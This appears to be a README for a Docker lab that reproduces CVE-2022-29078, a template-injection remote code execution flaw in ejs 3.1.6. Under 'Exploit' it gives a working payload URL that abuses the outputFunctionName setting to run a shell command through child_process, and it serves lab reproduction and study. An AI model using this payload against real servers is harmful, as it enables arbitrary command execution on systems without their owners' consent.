CVE-2022-29078

vuln ejs 3.1.6 docker

Setup

git clone https://github.com/miko550/CVE-2022-29078.git  
cd CVE-2022-29078
docker build . -t miko/vuln-ejs
docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs

Usage

http://127.0.0.1:49160/

Exploit

In browser

http://127.0.0.1:49160/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s

Verify exploit

docker exec -it vuln-ejs /bin/bash
ls -la /tmp

Reference

https://eslam.io/posts/ejs-server-side-template-injection-rce/ https://github.com/Olusamimaths/templating-with-ejs